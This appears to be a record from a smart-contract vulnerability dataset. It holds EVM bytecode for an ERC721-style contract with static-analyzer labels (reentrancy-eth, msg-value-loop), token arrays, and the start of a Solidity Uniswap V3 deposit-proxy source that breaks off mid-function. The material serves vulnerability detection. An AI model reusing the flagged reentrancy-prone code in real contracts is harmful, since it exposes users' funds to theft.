086915050601e811061122657fe5b01805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156112ab5780601f10611280576101008083540402835291602001916112ab565b820191906000526020600020905b81548152906001019060200180831161128e57829003601f168201915b50505060009788525050601960209081526040808820546015909252909620549396909590930393505050565b6000806112e660028461268f565b509392505050565b6000610e6f82604051806060016040528060298152602001613f6d60299139600291906126ab565b61131e612466565b600a546001600160a01b0390811691161461134b5760405162461bcd60e51b81526004016108bb90613c5b565b60005b6000828152601c60205260409020548110156113bf576000828152601160205260408120826005811061137d57fe5b0180546001600160a01b0319166001600160a01b0392909216919091179055600082815260126020526040812082600581106113b557fe5b015560010161134e565b506040805160208082018084526000808452858152602390925292902090516113e89290612e7e565b506000818152601c602052604080822091909155517f45c9eed8a1fb20a5cf57bdd41c3aa98ed2b5241feb195f86170423d5c3523a849061142a908390613df1565b60405180910390a150565b60098054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610aa25780601f10610a7757610100808354040283529160200191610aa2565b60008181526015602090815260408083205460199092529091205460010111156114bf57600080fd5b6000818152601a602052604090205460ff1615156001146114df57600080fd5b6000818152601b602052604090205434146114f957600080fd5b6000611503610e75565b60019081016000818152601e602090815260408083208790558683526019825280832054848452601790925290912092019091559050611541612f0a565b611549612f0a565b61155284611f4c565b9150915060005b6000858152601c60205260409020548110156115dc57600083826005811061157d57fe5b60200201519050806001600160a01b03166108fc84846005811061159d57fe5b602002015160643404029081150290604051600060405180830381858888f193505050501580156115d2573d6000803e3d6000fd5b5050600101611559565b5060008481526021602052604090205460ff1615156001141561165757600084815260208080526040808320546022909252909120546001600160a01b0390911690816108fc8260643404029081150290604051600060405180830381858888f19350505050158015611653573d6000803e3d6000fd5b5050505b600d546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611690573d6000803e3d6000fd5b5061169b33846126b8565b505050600090815260196020526040902080546001019055565b60006001600160a01b0382166116dd5760405162461bcd60e51b81526004016108bb90613b1f565b6001600160a01b0382166000908152600160205260409020610e6f906124e5565b611706612466565b600a546001600160a01b039081169116146117335760405162461bcd60e51b81526004016108bb90613c5b565b6000828152601560209081526040808320546019909252909120548201111561175b57600080fd5b6000828152601960205260409020545b60008381526019602052604090205482018110156117c857600061178d610e75565b60019081016000818152601e602090815260408083208990556017909152902091840190915590506117bf33826126b8565b5060010161176b565b5060009182526019602052604090912080549091019055565b6117e9612466565b600a546001600160a01b039081169116146118165760405162461bcd60e51b81526004016108bb90613c5b565b6000828152601b602052604090208190557f8b49109cd5767f43f65aaaae99075135a684e87312ed89a5e0d69e96bed715cb82670de0b6b3a76400008304604051611862929190613e76565b60405180910390a15050565b600a546001600160a01b031690565b60606118888361246a565b6118a45760405162461bcd60e51b81526004016108bb90613cd9565b60246118af846126d2565b60256118ba856126d2565b6040516020016118cd9493929190613645565b604051602081830303815290604052905092915050565b60078054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610aa25780601f10610a7757610100808354040283529160200191610aa2565b61194d612466565b6001600160a01b0316826001600160a01b0316141561197e5760405162461bcd60e51b81526004016108bb90613a3f565b806005600061198b612466565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff1916921515929092179091556119cf612466565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611a07919061375b565b60405180910390a35050565b6060806000806000606060006060611a2a8961246a565b611a465760405162461bcd60e51b81526004016108bb90613be0565b6000898152601e602090815260408083205480845260138352928190208054825160026001831615610100026000190190921691909104601f810185900485028201850190935282815292909190830182828015611ae55780601f10611aba57610100808354040283529160200191611ae5565b820191906000526020600020905b815481529060010190602001808311611ac857829003601f168201915b5050506000848152601660209081526040918290208054835160026001831615610100026000190190921691909104601f8101849004840282018401909452838152959e509350909150830182828015611b805780601f10611b5557610100808354040283529160200191611b80565b820191906000526020600020905b815481529060010190602001808311611b6357829003601f168201915b5050505050975060156000828152602001908152602001600020549650601760008b8152602001908152602001600020549550601a600082815260200190815260200160002060009054906101000a900460ff169450601460008281526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c7d5780601f10611c5257610100808354040283529160200191611c7d565b820191906000526020600020905b815481529060010190602001808311611c6057829003601f168201915b5050506000848152601b602090815260408083205460238352928190208054825160026001831615610100026000190190921691909104601f8101859004850282018501909352828152969a50929850919350909150830182828015611d245780601f10611cf957610100808354040283529160200191611d24565b820191906000526020600020905b815481529060010190602001808311611d0757829003601f168201915b5050505050915050919395975091939597565b600080611d438361246a565b611d5f5760405162461bcd60e51b81526004016108bb90613be0565b50506000908152601e6020908152604080832054600d54908452601d909252909120546001600160a01b0390911691565b6000908152601f60209081526040808320548280528184205460228452828520546021909452919093205492936001600160a01b039091169260ff1690565b611dd7612466565b600a546001600160a01b03908116911614611e045760405162461bcd60e51b81526004016108bb90613c5b565b600084815260106020526040902081601e8110611e1d57fe5b602081049091015460ff601f9092166101000a90041615611e3d57600080fd5b6000848152600e60205260409020839082601e8110611e5857fe5b019080519060200190611e6c929190612e7e565b506000848152600f60205260409020829082601e8110611e8857fe5b019080519060200190611e9c929190612e7e565b50600084815260106020526040902060019082601e8110611eb957fe5b602091828204019190066101000a81548160ff0219169083151502179055507fdff4f7a043d457bb0000a6b86af816f91b9d5fd646a9c0e05f8beb8ebe5acd3684848484604051610de09493929190613e39565b611f1e611f18612466565b836124f0565b611f3a5760405162461bcd60e51b81526004016108bb90613d69565b611f46848484846127aa565b50505050565b611f54612f0a565b611f5c612f0a565b60005b6000848152601c6020526040902054811015611fee5760008481526011602052604090208160058110611f8e57fe5b01546001600160a01b0316838260058110611fa557fe5b6001600160a01b039092166020928302919091015260008581526012909152604090208160058110611fd357fe5b0154828260058110611fe157fe5b6020020152600101611f5f565b50915091565b611ffc612466565b600a546001600160a01b039081169116146120295760405162461bcd60e51b81526004016108bb90613c5b565b611008816127dd565b606061203d8261246a565b6120595760405162461bcd60e51b81526004016108bb90613cd9565b6009612064836127f0565b604051602001612075929190613620565b6040516020818303038152906040529050919050565b612093612466565b600a546001600160a01b039081169116146120c05760405162461bcd60e51b81526004016108bb90613c5b565b600082815260146020908152604090912082516120df92840190612e7e565b507fe4f4915c8343b76a186dd702ddb447236facb07c5466d1b0e32d5e493144e0b18282604051611862929190613e20565b612119612466565b600a546001600160a01b039081169116146121465760405162461bcd60e51b81526004016108bb90613c5b565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b61219e612466565b600a546001600160a01b039081169116146121cb5760405162461bcd60e51b81526004016108bb90613c5b565b80516110d8906027906020840190612e7e565b6121e6612466565b600a546001600160a01b039081169116146122135760405162461bcd60e51b81526004016108bb90613c5b565b6001600160a01b0381166122395760405162461bcd60e51b81526004016108bb9061397e565b600a546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600a80546001600160a01b0319166001600160a01b0392909216919091179055565b61229d612466565b600a546001600160a01b039081169116146122ca5760405162461bcd60e51b81526004016108bb90613c5b565b600c546000908152600e60205260409020899060010190805190602001906122f3929190612e7e565b50600c546000908152600f602052604090208890600101908051906020019061231d929190612e7e565b50600c5460009081526016602090815260409091208851612340928a0190612e7e565b50600c546000908152601360209081526040909120875161236392890190612e7e565b50600c546000908152601460209081526040909120865161238692880190612e7e565b50600c80546000908152601560209081526040808320889055835483526018825280832083905583548352601982528083208390558354835260108252808320805461ff00191661010017905583548352601a8252808320805460ff191688151517905583548352601b825280832086905583548352601d90915290819020839055905490517fd1eba389febb75b1cb29bc39b4443947ef1b8ccb1ac23c9fc0592441e5e516ec9161244a918c918c918c918c918c918c918c918c918c91906137a7565b60405180910390a15050600c8054600101905550505050505050565b3390565b6000610e6f6002836128c2565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906124ac826112ee565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610e6f826128ce565b60006124fb8261246a565b6125175760405162461bcd60e51b81526004016108bb90613a76565b6000612522836112ee565b9050806001600160a01b0316846001600160a01b0316148061255d5750836001600160a01b031661255284610aac565b6001600160a01b0316145b8061256d575061256d8185612168565b949350505050565b826001600160a01b0316612588826112ee565b6001600160a01b0316146125ae5760405162461bcd60e51b81526004016108bb90613c90565b6001600160a01b0382166125d45760405162461bcd60e51b81526004016108bb906139fb565b6125df838383610b82565b6125ea600082612477565b6001600160a01b038316600090815260016020526040902061260c90826128d2565b506001600160a01b038216600090815260016020526040902061262f90826128de565b5061263c600282846128ea565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600061102d8383612900565b600080808061269e8686612945565b9097909650945050505050565b600061256d8484846129a1565b6110d8828260405180602001604052806000815250612a00565b6060816126f757506040805180820190915260018152600360fc1b6020820152610881565b8160005b811561270f57600101600a820491506126fb565b60608167ffffffffffffffff8111801561272857600080fd5b506040519080825280601f01601f191660200182016040528015612753576020820181803683370190505b50905060001982015b85156127a157600a860660300160f81b8282806001900393508151811061277f57fe5b60200101906001600160f81b031916908160001a905350600a8604955061275c565b50949350505050565b6127b5848484612575565b6127c184848484612a33565b611f465760405162461bcd60e51b81526004016108bb9061392c565b80516110d8906009906020840190612e7e565b60608161281557506040805180820190915260018152600360fc1b6020820152610881565b8160005b811561282d57600101600a82049150612819565b60608167ffffffffffffffff8111801561284657600080fd5b506040519080825280601f01601f191660200182016040528015612871576020820181803683370190505b50859350905060001982015b83156127a157600a840660300160f81b828280600190039350815181106128a057fe5b60200101906001600160f81b031916908160001a905350600a8404935061287d565b600061102d8383612b12565b5490565b600061102d8383612b2a565b600061102d8383612bf0565b600061256d84846001600160a01b038516612c3a565b815460009082106129235760405162461bcd60e51b81526004016108bb906138ea565b82600001828154811061293257fe5b9060005260206000200154905092915050565b81546000908190831061296a5760405162461bcd60e51b81526004016108bb90613b69565b600084600001848154811061297b57fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b600082815260018401602052604081205482816129d15760405162461bcd60e51b81526004016108bb9190613766565b508460000160018203815481106129e457fe5b9060005260206000209060020201600101549150509392505050565b612a0a8383612cd1565b612a176000848484612a33565b610b825760405162461bcd60e51b81526004016108bb9061392c565b6000612a47846001600160a01b0316612d95565b612a535750600161256d565b6060612adb630a85bd0160e11b612a68612466565b888787604051602401612a7e949392919061369f565b604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b038381831617835250505050604051806060016040528060328152602001613f3b603291396001600160a01b0388169190612d9b565b9050600081806020019051810190612af391906131b7565b6001600160e01b031916630a85bd0160e11b1492505050949350505050565b60009081526001919091016020526040902054151590565b60008181526001830160205260408120548015612be65783546000198083019190810190600090879083908110612b5d57fe5b9060005260206000200154905080876000018481548110612b7a57fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080612baa57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610e6f565b6000915050610e6f565b6000612bfc8383612b12565b612c3257508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610e6f565b506000610e6f565b600082815260018401602052604081205480612c9f57505060408051808201825283815260208082018481528654600181810189556000898152848120955160029093029095019182559151908201558654868452818801909252929091205561102d565b82856000016001830381548110612cb257fe5b906000526020600020906002020160010181905550600091505061102d565b6001600160a01b038216612cf75760405162461bcd60e51b81526004016108bb90613bab565b612d008161246a565b15612d1d5760405162461bcd60e51b81526004016108bb906139c4565b612d2960008383610b82565b6001600160a01b0382166000908152600160205260409020612d4b90826128de565b50612d58600282846128ea565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b606061256d848460008585612daf85612d95565b612dcb5760405162461bcd60e51b81526004016108bb90613dba565b60006060866001600160a01b03168587604051612de89190613604565b60006040518083038185875af1925050503d8060008114612e25576040519150601f19603f3d011682016040523d82523d6000602084013e612e2a565b606091505b5091509150612e3a828286612e45565b979650505050505050565b60608315612e5457508161102d565b825115612e645782518084602001fd5b8160405162461bcd60e51b81526004016108bb9190613766565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282612eb45760008555612efa565b82601f10612ecd57805160ff1916838001178555612efa565b82800160010185558215612efa579182015b82811115612efa578251825591602001919060010190612edf565b50612f06929150612f28565b5090565b6040518060a001604052806005906020820280368337509192915050565b5b80821115612f065760008155600101612f29565b600082601f830112612f4d578081fd5b8135612f60612f5b82613ec5565b613ea1565b818152915060208083019084810181840286018201871015612f8157600080fd5b60005b84811015612fa057813584529282019290820190600101612f84565b505050505092915050565b8035801515811461088157600080fd5b600082601f830112612fcb578081fd5b813567ffffffffffffffff811115612fdf57fe5b612ff2601f8201601f1916602001613ea1565b915080825283602082850101111561300957600080fd5b8060208401602084013760009082016020015292915050565b600060208284031215613033578081fd5b813561102d81613f0f565b60006020828403121561304f578081fd5b815161102d81613f0f565b6000806040838503121561306c578081fd5b823561307781613f0f565b9150602083013561308781613f0f565b809150509250929050565b6000806000606084860312156130a6578081fd5b83356130b181613f0f565b925060208401356130c181613f0f565b929592945050506040919091013590565b600080600080608085870312156130e7578081fd5b84356130f281613f0f565b9350602085013561310281613f0f565b925060408501359150606085013567ffffffffffffffff811115613124578182fd5b61313087828801612fbb565b91505092959194509250565b6000806040838503121561314e578182fd5b823561315981613f0f565b915061316760208401612fab565b90509250929050565b60008060408385031215613182578182fd5b823561318d81613f0f565b946020939093013593505050565b6000602082840312156131ac578081fd5b813561102d81613f24565b6000602082840312156131c8578081fd5b815161102d81613f24565b6000602082840312156131e4578081fd5b813567ffffffffffffffff8111156131fa578182fd5b61256d84828501612fbb565b60008060408385031215613218578182fd5b823567ffffffffffffffff8082111561322f578384fd5b61323b86838701612fbb565b93506020850135915080821115613250578283fd5b5061325d85828601612fbb565b9150509250929050565b60008060008060008060008060006101208a8c031215613285578687fd5b893567ffffffffffffffff8082111561329c578889fd5b6132a88d838e01612fbb565b9a5060208c01359150808211156132bd578889fd5b6132c98d838e01612fbb565b995060408c01359150808211156132de578889fd5b6132ea8d838e01612fbb565b985060608c01359150808211156132ff578687fd5b61330b8d838e01612fbb565b975060808c0135915080821115613320578687fd5b5061332d8c828d01612fbb565b95505060a08a0135935061334360c08b01612fab565b925060e08a013591506101008a013590509295985092959850929598565b600060208284031215613372578081fd5b5035919050565b6000806000806080858703121561338e578182fd5b8435935060208086013567ffffffffffffffff808211156133ad578485fd5b818801915088601f8301126133c0578485fd5b81356133ce612f5b82613ec5565b81815284810190848601868402860187018d10156133ea578889fd5b8895505b8386101561341557803561340181613f0f565b8352600195909501949186019186016133ee565b5097505050604088013592508083111561342d578485fd5b61343989848a01612f3d565b9450606088013592508083111561344e578384fd5b505061313087828801612fbb565b6000806040838503121561346e578182fd5b82359150602083013567ffffffffffffffff81111561348b578182fd5b61325d85828601612fbb565b600080600080608085870312156134ac578182fd5b84359350602085013567ffffffffffffffff808211156134ca578384fd5b6134d688838901612fbb565b945060408701359150808211156134eb578384fd5b506134f887828801612fbb565b949793965093946060013593505050565b6000806040838503121561351b578182fd5b50508035926020909101359150565b6000806000806080858703121561353f578182fd5b84359350602085013592506040850135915061355d60608601612fab565b905092959194509250565b60008151808452613580816020860160208601613ee3565b601f01601f19169290920160200192915050565b600081546001808216600081146135b257600181146135c9576135fb565b60ff198316865260028304607f16860193506135fb565b600283048560005260208060002060005b838110156135f35781548a8201529085019082016135da565b505050860193505b50505092915050565b60008251613616818460208701613ee3565b9190910192915050565b600061362c8285613594565b835161363c818360208801613ee3565b01949350505050565b60006136518287613594565b8551613661818360208a01613ee3565b61366d81830187613594565b9150508351613680818360208801613ee3565b019695505050505050565b6001600160a01b0391909116815260200190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906136d290830184613568565b9695505050505050565b6001600160a01b03929092168252602082015260400190565b6101408101818460005b60058110156137275781516001600160a01b03168352602092830192909101906001016136ff565b50505060a082018360005b6005811015613751578151835260209283019290910190600101613732565b5050509392505050565b901515815260200190565b60006020825261102d6020830184613568565b60006040825261378c6040830185613568565b828103602084015261379e8185613568565b95945050505050565b60006101408083526137bb8184018e613568565b905082810360208401526137cf818d613568565b905082810360408401526137e3818c613568565b905082810360608401526137f7818b613568565b9050828103608084015261380b818a613568565b60a0840198909852505093151560c085015260e08401929092526101008301526101209091015295945050505050565b60006060825261384e6060830186613568565b82810360208401526138608186613568565b915050826040830152949350505050565b60006101008083526138858184018c613568565b90508281036020840152613899818b613568565b9050886040840152876060840152861515608084015282810360a08401526138c18187613568565b90508460c084015282810360e08401526138db8185613568565b9b9a5050505050505050505050565b60208082526022908201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e604082015261647360f01b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526022908201527f456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e604082015261647360f01b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b6020808252601590820152742a37b5b2b7103237b2b9903737ba1032bc34b9ba1760591b604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b90815260200190565b9384526001600160a01b0392909216602084015260408301521515606082015260800190565b60008382526040602083015261256d6040830184613568565b600085825260806020830152613e526080830186613568565b8281036040840152613e648186613568565b91505082606083015295945050505050565b918252602082015260400190565b938452602084019290925260408301521515606082015260800190565b60405181810167ffffffffffffffff81118282101715613ebd57fe5b604052919050565b600067ffffffffffffffff821115613ed957fe5b5060209081020190565b60005b83811015613efe578181015183820152602001613ee6565b83811115611f465750506000910152565b6001600160a01b038116811461100857600080fd5b6001600160e01b03198116811461100857600080fdfe4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656ea2646970667358221220516faeadd35291d0bbce545bc236c688d8e1c250bd16ecd10112eed49b046bc064736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'msg-value-loop', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 18139, 2487, 2546, 10790, 2549, 2094, 2575, 2063, 2683, 2546, 2475, 2094, 19481, 2094, 21084, 2063, 15136, 19961, 2475, 2497, 12521, 20842, 2620, 29292, 2487, 2050, 19841, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,362
0x96a4F484915523553272A9f64FD9848859F799fa
/// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; pragma abicoder v2; import "./interfaces/IHypervisor.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@uniswap/v3-core/contracts/libraries/FullMath.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/math/SignedSafeMath.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@uniswap/v3-core/contracts/libraries/TickMath.sol"; /// @title UniProxy /// @notice Proxy contract for hypervisor positions management contract UniProxy is ReentrancyGuard { using SafeERC20 for IERC20; using SafeMath for uint256; using SignedSafeMath for int256; mapping(address => Position) public positions; address public owner; bool public freeDeposit = false; bool public twapCheck = false; uint32 public twapInterval = 1 hours; uint256 public depositDelta = 1010; uint256 public deltaScale = 1000; /// must be a power of 10 uint256 public priceThreshold = 100; uint256 constant MAX_UINT = 2**256 - 1; struct Position { uint8 version; // 1->3 proxy 3 transfers, 2-> proxy two transfers, 3-> proxy no transfers mapping(address=>bool) list; // whitelist certain accounts for freedeposit bool twapOverride; // force twap check for hypervisor instance uint32 twapInterval; // override global twap uint256 priceThreshold; // custom price threshold bool depositOverride; // force custom deposit constraints uint256 deposit0Max; uint256 deposit1Max; uint256 maxTotalSupply; bool freeDeposit; // override global freeDepsoit } /// events event PositionAdded(address, uint8); event CustomDeposit(address, uint256, uint256, uint256); event PriceThresholdSet(uint256 _priceThreshold); event DepositDeltaSet(uint256 _depositDelta); event DeltaScaleSet(uint256 _deltaScale); event TwapIntervalSet(uint32 _twapInterval); event TwapOverrideSet(address pos, bool twapOverride, uint32 _twapInterval); event PriceThresholdPosSet(address pos, uint256 _priceThreshold); event DepositFreeToggled(); event DepositOverrideToggled(address pos); event DepositFreeOverrideToggled(address pos); event TwapToggled(); event ListAppended(address pos, address[] listed); event ListRemoved(address pos, address listed); constructor() { owner = msg.sender; } modifier onlyAddedPosition(address pos) { Position storage p = positions[pos]; require(p.version != 0, "not added"); _; } /// @notice Add the hypervisor position /// @param pos Address of the hypervisor /// @param version Type of hypervisor function addPosition(address pos, uint8 version) external onlyOwner { Position storage p = positions[pos]; require(p.version == 0, 'already added'); require(version > 0, 'version < 1'); p.version = version; IHypervisor(pos).token0().safeApprove(pos, MAX_UINT); IHypervisor(pos).token1().safeApprove(pos, MAX_UINT); emit PositionAdded(pos, version); } /// @notice Deposit into the given position /// @param deposit0 Amount of token0 to deposit /// @param deposit1 Amount of token1 to deposit /// @param to Address to receive liquidity tokens /// @param pos Hypervisor Address /// @return shares Amount of liquidity tokens received function deposit( uint256 deposit0, uint256 deposit1, address to, address pos ) nonReentrant external onlyAddedPosition(pos) returns (uint256 shares) { require(to != address(0), "to should be non-zero"); Position storage p = positions[pos]; if (p.version < 3) { /// requires asset transfer to proxy if (deposit0 != 0) { IHypervisor(pos).token0().safeTransferFrom(msg.sender, address(this), deposit0); } if (deposit1 != 0) { IHypervisor(pos).token1().safeTransferFrom(msg.sender, address(this), deposit1); } } if (!freeDeposit && !p.list[msg.sender] && !p.freeDeposit) { // freeDeposit off and hypervisor msg.sender not on list if (deposit0 > 0) { (uint256 test1Min, uint256 test1Max) = getDepositAmount(pos, address(IHypervisor(pos).token0()), deposit0); require(deposit1 >= test1Min && deposit1 <= test1Max, "Improper ratio"); } if (deposit1 > 0) { (uint256 test0Min, uint256 test0Max) = getDepositAmount(pos, address(IHypervisor(pos).token1()), deposit1); require(deposit0 >= test0Min && deposit0 <= test0Max, "Improper ratio"); } } if (twapCheck || p.twapOverride) { /// check twap checkPriceChange( pos, (p.twapOverride ? p.twapInterval : twapInterval), (p.twapOverride ? p.priceThreshold : priceThreshold) ); } if (p.depositOverride) { if (p.deposit0Max > 0) { require(deposit0 <= p.deposit0Max, "token0 exceeds"); } if (p.deposit1Max > 0) { require(deposit1 <= p.deposit1Max, "token1 exceeds"); } } if (p.version < 3) { if (p.version < 2) { /// requires lp token transfer from proxy to msg.sender shares = IHypervisor(pos).deposit(deposit0, deposit1, address(this), address(this)); IHypervisor(pos).transfer(to, shares); } else{ /// transfer lp tokens direct to msg.sender shares = IHypervisor(pos).deposit(deposit0, deposit1, msg.sender, address(this)); } } else { /// transfer lp tokens direct to msg.sender shares = IHypervisor(pos).deposit(deposit0, deposit1, msg.sender, msg.sender); } if (p.depositOverride) { require(IHypervisor(pos).totalSupply() <= p.maxTotalSupply, "supply exceeds"); } } /// @notice Get the amount of token to deposit for the given amount of pair token /// @param pos Hypervisor Address /// @param token Address of token to deposit /// @param _deposit Amount of token to deposit /// @return amountStart Minimum amounts of the pair token to deposit /// @return amountEnd Maximum amounts of the pair token to deposit function getDepositAmount( address pos, address token, uint256 _deposit ) public view returns (uint256 amountStart, uint256 amountEnd) { require(token == address(IHypervisor(pos).token0()) || token == address(IHypervisor(pos).token1()), "token mistmatch"); require(_deposit > 0, "deposits can't be zero"); (uint256 total0, uint256 total1) = IHypervisor(pos).getTotalAmounts(); if (IHypervisor(pos).totalSupply() == 0 || total0 == 0 || total1 == 0) { amountStart = 0; if (token == address(IHypervisor(pos).token0())) { amountEnd = IHypervisor(pos).deposit1Max(); } else { amountEnd = IHypervisor(pos).deposit0Max(); } } else { uint256 ratioStart; uint256 ratioEnd; if (token == address(IHypervisor(pos).token0())) { ratioStart = FullMath.mulDiv(total0.mul(depositDelta), 1e18, total1.mul(deltaScale)); ratioEnd = FullMath.mulDiv(total0.mul(deltaScale), 1e18, total1.mul(depositDelta)); } else { ratioStart = FullMath.mulDiv(total1.mul(depositDelta), 1e18, total0.mul(deltaScale)); ratioEnd = FullMath.mulDiv(total1.mul(deltaScale), 1e18, total0.mul(depositDelta)); } amountStart = FullMath.mulDiv(_deposit, 1e18, ratioStart); amountEnd = FullMath.mulDiv(_deposit, 1e18, ratioEnd); } } /// @notice Check if the price change overflows or not based on given twap and threshold in the hypervisor /// @param pos Hypervisor Address /// @param _twapInterval Time intervals /// @param _priceThreshold Price Threshold /// @return price Current price function checkPriceChange( address pos, uint32 _twapInterval, uint256 _priceThreshold ) public view returns (uint256 price) { uint160 sqrtPrice = TickMath.getSqrtRatioAtTick(IHypervisor(pos).currentTick()); price = FullMath.mulDiv(uint256(sqrtPrice).mul(uint256(sqrtPrice)), 1e18, 2**(96 * 2)); uint160 sqrtPriceBefore = getSqrtTwapX96(pos, _twapInterval); uint256 priceBefore = FullMath.mulDiv(uint256(sqrtPriceBefore).mul(uint256(sqrtPriceBefore)), 1e18, 2**(96 * 2)); if (price.mul(100).div(priceBefore) > _priceThreshold || priceBefore.mul(100).div(price) > _priceThreshold) revert("Price change Overflow"); } /// @notice Get the sqrt price before the given interval /// @param pos Hypervisor Address /// @param _twapInterval Time intervals /// @return sqrtPriceX96 Sqrt price before interval function getSqrtTwapX96(address pos, uint32 _twapInterval) public view returns (uint160 sqrtPriceX96) { if (_twapInterval == 0) { /// return the current price if _twapInterval == 0 (sqrtPriceX96, , , , , , ) = IHypervisor(pos).pool().slot0(); } else { uint32[] memory secondsAgos = new uint32[](2); secondsAgos[0] = _twapInterval; /// from (before) secondsAgos[1] = 0; /// to (now) (int56[] memory tickCumulatives, ) = IHypervisor(pos).pool().observe(secondsAgos); /// tick(imprecise as it's an integer) to price sqrtPriceX96 = 